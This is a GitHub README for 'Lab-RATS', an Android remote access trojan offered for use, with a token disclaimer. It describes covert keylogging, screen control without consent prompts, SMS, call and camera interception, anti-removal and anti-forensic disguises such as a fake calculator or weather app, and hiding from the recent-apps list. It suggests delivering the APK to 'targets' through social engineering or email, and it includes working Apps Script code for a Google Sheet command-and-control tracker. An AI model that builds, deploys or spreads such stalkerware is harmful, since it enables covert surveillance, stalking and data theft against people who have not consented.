Skip to content

K4N3CO-LABS/Lab-RATS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

114 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Screenshot-2026-07-03-at-2-55-28-AM.png

πŸ€ Lab-RATS: Advanced Android Remote Administration Tool (v1.3.5)

Lab-RATS is a powerful and lightweight Android Remote Administration Tool (RAT) developed by K4N3CO.LABS. This tool allows for remote monitoring and management of Android devices through a sleek, web-based interface designed for speed and reliability. Built for the modern era, it fully supports the latest 2026 Android software releases (OneUI 8.5, SDK 36).


πŸ›‘οΈ Core Features & Security

  • πŸ“¦ Automated APK Generation: Instantly build both signed.apk (for production) and unsigned.apk.
  • πŸ†” Advanced Identity Control: Fully customize App Name, Package ID, and Minimum SDK.
  • πŸ” C2 Security Layer: The web dashboard is protected by a secure login wall (Default Password: admin1337). The password can be updated directly from the Terminal home page for enhanced security.
  • 🎨 Smart Branding Engine:
    • Auto-Density Scaling: Resizes logos automatically for all Android screen densities.
    • Transparency Fixer: Removes white backgrounds from logo assets automatically.
  • πŸ“± PC/Mobile-Responsive: The remote web interface is fully optimized for both PC and smartphone browsers, featuring a touch-friendly layout, adaptive navigation tabs, and scalable UI elements for monitoring from any device. (ALL remote capabilities are available on both interfaces)

πŸ•΅οΈ Covert & Stealth Operations

  • 🎭 Stealth Mode: Remotely swap the entire app identity and icon with the "Masquerade Library" of convincing clones. Instantly transform Lab-RATS into a Calculator, Weather App, System Update, or Settings menu.
  • πŸ› οΈ Functional Decoy Engine: Unlike static images, these decoys are fully interactive. The Calculator performs real math, and the Weather app dynamically loads the target's actual city name and forecast to bypass even the most rigorous manual inspections.
  • 🩹 Self-Healing Protocol: Automatically detects and repairs damaged service bindings or revoked permissions in the background, ensuring the C2 uplink remains persistent without user intervention.
  • ☎️ Dial-Pad Recovery: If the launcher icon is hidden or replaced, dial *#1337# on the phone's keypad to instantly kill all decoys and restore the original Lab-RATS dashboard.
  • πŸšͺ Hidden Backdoor: Every decoy features a secret bypass. Rapidly tapping the display or background icon 10 times instantly unlocks the C2 server interface. (Automatically re-engages stealth mode when the app is closed.)
  • πŸ‘» Task-List Ghosting: The app is hard-coded to be invisible in the Android "Recent Apps" list, ensuring it leaves no footprint during multitasking.
  • πŸ“‘ Deep Rebranding: When stealth is active, all background service notifications are automatically rebranded with matching icons and names to ensure zero branding leaks in the system tray.
  • 🎲 Dynamic OTA Camouflage: Generates random version names and codes that mimic legitimate system OTA updates to confuse forensic analysis.
  • πŸŒ‘ Blackout Mode (WIP): A high-stealth prototype designed to physically mask the device display while maintaining a live remote feed. (Currently in developmental testing.)

πŸš€ The Fun Stuff (Remote Capabilities)

  • πŸ‘» Ghost Controller (Gold Standard):
    • Live Keylogging: Intercept keystrokes and system text in real-time from any app.
    • πŸ“± Ghost Screen Control/Mirror: Cast the live screen and control the device remotely, essentially giving you full control of the device with NO "Consent Prompt" required.
  • πŸ’€ Anti-Removal Shield: Automatically blocks attempts to Uninstall or Force Stop the app.
  • πŸ›°οΈ Precision GPS Tracking: One-click uplink to open the target's exact real-time location in Google Maps.
  • ⚑ Intel Stream (Notification Sniffer): Intercept every notification that hits the device (WhatsApp, Telegram, RCS, System) and view them in a live chronological feed.
  • πŸ–ΌοΈ MMS Terminal (Game Changer!):
    • Browse & Extract: Download and view ANY Multimedia Message (MMS) including Images and Videos stored on the device.
    • Remote Dispatch: Send MMS/Picture Messages directly from the target phone with a built-in file browser to pick media from your PC.
  • πŸ’¬ SMS Command Center:
    • Full Interception: Browse and copy every sent/received text message.
    • Remote Texting: Send SMS from the target's number to any destination worldwide.
  • πŸ“Έ Optics & Surveillance:
    • Live Camera Streaming: View high-speed video feeds from both front and back cameras.
    • πŸŒ™ Night Vision Mode: Sensor-boosted low-light mode for visibility in near-total darkness.
    • Hardware Stability Engine: Unified camera management prevents resource conflicts, ensuring reliable background capture and streaming even on high-security Android 15/16 devices.
    • Background Recording: Stealthily record high-quality video without any user-facing activity.
    • Instant Capture: Take high-resolution photos remotely.
  • πŸŽ™οΈ Acoustics & Interception:
    • Ambient Monitoring: Live microphone recording for high-fidelity audio surveillance.
    • Call Recording: Automatically records both incoming and outgoing phone calls.
  • πŸ“‚ Advanced Data Uplink:
    • Integrated File Manager: Navigate, download, and manage files across internal and external storage.
    • πŸ“ Direct File Editor: Live-edit text, JSON, and log files directly on the device from your browser.
  • πŸ“Š Telemetry & Reporting:
    • Full System Extraction: Detailed hardware, network, and battery analytics.
    • Contact & Call Logs: Instant extraction of the target's full contact list and communication history.
    • C2 Auto-Reporting: Discrete reporting of device IP and status to a centralized Google Sheet.

🧠 Direct IPv6 Access (The "Backdoor" Protocol)

During security research, a critical behavior in modern Android networking was discovered: devices on mobile data (and modern WiFi) are assigned Public IPv6 Addresses.

Unlike IPv4β€”which is heavily restricted by NAT and requires complex port forwardingβ€”IPv6 addresses are directly routeable on the public internet.

How Lab-RATS Exploits This:

  1. Distributed Server: The app initializes a lightweight HTTP server on the Android device (Port 8080).
  2. Zero Configuration: Because the device uses Public IPv6, you can access the terminal directly from anywhere in the world without router setup, firewalls, or tunnels. (Ngrok/Pinggy).
  3. Dynamic IP Solution: Mobile networks rotate IPs frequently. Lab-RATS solves this by using a Google Sheet as a "Command & Control (C2) Phonebook".
  4. Stealth Uplink: The app silently detects its current IPv6 and posts the live link to your sheet. You simply open the sheet and click the latest link to regain control.

Effectively, this turns ANY infected device into a public web server, tracked by a private "C2 phonebook".


πŸ› οΈ Getting Started

1. Requirements

  • Java 11 or 21 installed on your workstation.
  • A target Android device.

The device used for my testing is a fully-patched rootless Samsung Z Flip 5

  • A Google Sheet Webhook URL for IP tracking.

2. Build the APK (on PC)

  1. Download & Extract the repository zip.
  2. Navigate to cd /Lab-RATS-main/app-builder/.
  3. Execute the builder:
    • Windows: build.bat
    • Linux/Mac: chmod +x build.sh && ./build.sh
  4. Select Option 1 and provide your configuration:
    • App Name: (Default: LAB-RATS)
    • Google Sheet URL: Enter your Apps Script URL (Setup instructions below)
  5. Retrieve your signed.apk from the /Lab-RATS-main/app-builder/output/ directory.

3. Install App on Target/Test Device

  1. Install the signed.apk onto the Target/Test Android device.

Info - If you have access to the device, turn on USB debugging (developer settings), plug it into a PC and run adb install signed.apk. Otherwise get creative on how to install Android .apk files onto devices.(Social Engineering?, E-mailing to Target?, Hosting App on Website/Server?)

  1. Once the app is installed onto the Target/Test Device, grant ALL the permissions asked for, then tap the "Initialize Server" button.
  2. The Server will go online and the Active interface Web IP Link should pop up instantly in your Google Sheet. (Example Sheet below)
  3. Thats it! Now you can use ALL the remote features from anywhere in the world as long as the app server is running on Target/Test device.

Info - To use the Ghost features you must go to the Ghost Tab on the Web Interface and click the button under "Ghost_Controller" to grant Accessibility Permissions. (Image Below)

Accessibilities-Perm.png


πŸ“Š Google Sheet C2 Setup Instructions

  1. Create a new Google Sheet.
  2. Go to Extensions β†’ Apps Script.
  3. Replace the Default Code with this Snippet:
// Lab-RATS C2 Tracking Script
function doPost(e) {
  try {
    var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
    var data = JSON.parse(e.postData.contents);
    sheet.appendRow([new Date(), data.device, data.network, data.ip, data.port, data.link]);
    return ContentService.createTextOutput("UPLINK_SUCCESS").setMimeType(ContentService.MimeType.TEXT);
  } catch (err) {
    return ContentService.createTextOutput("UPLINK_ERROR").setMimeType(ContentService.MimeType.TEXT);
  }
}

// Run once to initialize headers
function setupSheet() {
  var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
  sheet.appendRow(["Timestamp", "Device", "Network", "IP Address", "Port", "Control Link"]);
  sheet.getRange("A1:F1").setFontWeight("bold").setBackground("#050505").setFontColor("#00f2ff");
}
  1. Deploy β†’ Web App β†’ Execute as Me β†’ Access Anyone.
  2. Paste the generated URL into the APK Builder when prompted.

πŸ“Š Example Google Sheet Running and Properly Configured:

Lab-RATS-Googlesheet


⭐ Support the Development

If you find Lab-RATS useful for your security research, please Star ⭐ the projectβ€”it drives further development!

Contributions: Bug reports, feature and pull requests are always welcome.

Donations (Optional):

BTC:

bc1q6lmkuju3kf7f8624fwt5qs7k5mf63mekgcnzf4

πŸ“Έ Screenshots

The APP/APK Building Tool in Terminal

APK-builder-pic.jpg


NEW - Termux APK Build and Install

** PROJECT UPDATE: Just got the APK builder working perfectly inside Androids Termux app! I can now build and install the .apk directly onto my test phone right from the Termux app terminal. The possibilities moving forward are intriguing! 😎 (Will post Termux APK build/setup guide soon, * Video clip of build below skips entering my Google Sheet Webhook for obvious reasons.)

APK_Build_Termux_app.mp4

Built APK (C2 Server) Installed on Android Device

Lab-RATS-Built-APK-on-Device.jpg


Remotely Transform Lab-RATS into a Working Calculator, Weather App, System Update, or Settings Menu.

Stealth-Icons

Stealth-Overlays


πŸ“± Remote Web Control Panel (PC Interface)

Terminal/Homepage Tab:

1-Terminal-Tab.png


Ghost Operations/Stealth Tab:

2-Ghost-Tab.png


Ghost Remote/Screen Mirror Example:

7-Ghost-Remote.png


Optics/Camera Tab:

3-Optics-Tab.png


Live Camera Stream Example:

4-Camera-Live.png


Locate/GPS Tab:

5-GPS-Tab.png


Data/Storage Tab:

6-Data-Tab.png


Intel/App Notifications Tab:

8-Intel-Tab.png


SMS/Text Message Tab:

9-SMS-Tab.png


MMS/Multimedia Message Tab:

10-MMS-Tab.png


Acoustics/Audio Tab:

11-Acoustics-Tab.png


Call Logs Tab:

12-Call-Logs-Tab.png


Contacts Tab:

13-Contacts-Tab.png


Hardware/Device Info Tab:

14-Hardware-Tab.png


⚠️ Disclaimer

This tool is for educational and authorized testing purposes. The developers assume NO responsibility for ANY misuse or damage to relationships caused by this software. Please use it responsibly. Thank you!


Β© 2026 K4N3CO.LABS

About

Developed by K4N3CO.LABS, Lab-RATS is a powerful yet lightweight Android Remote Administration Tool (RAT). It enables remote monitoring and management through a sleek web interface and supports the newest modern Android releases SDK 36. (OneUI 8.5)

Topics

Resources

License

Stars

5 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors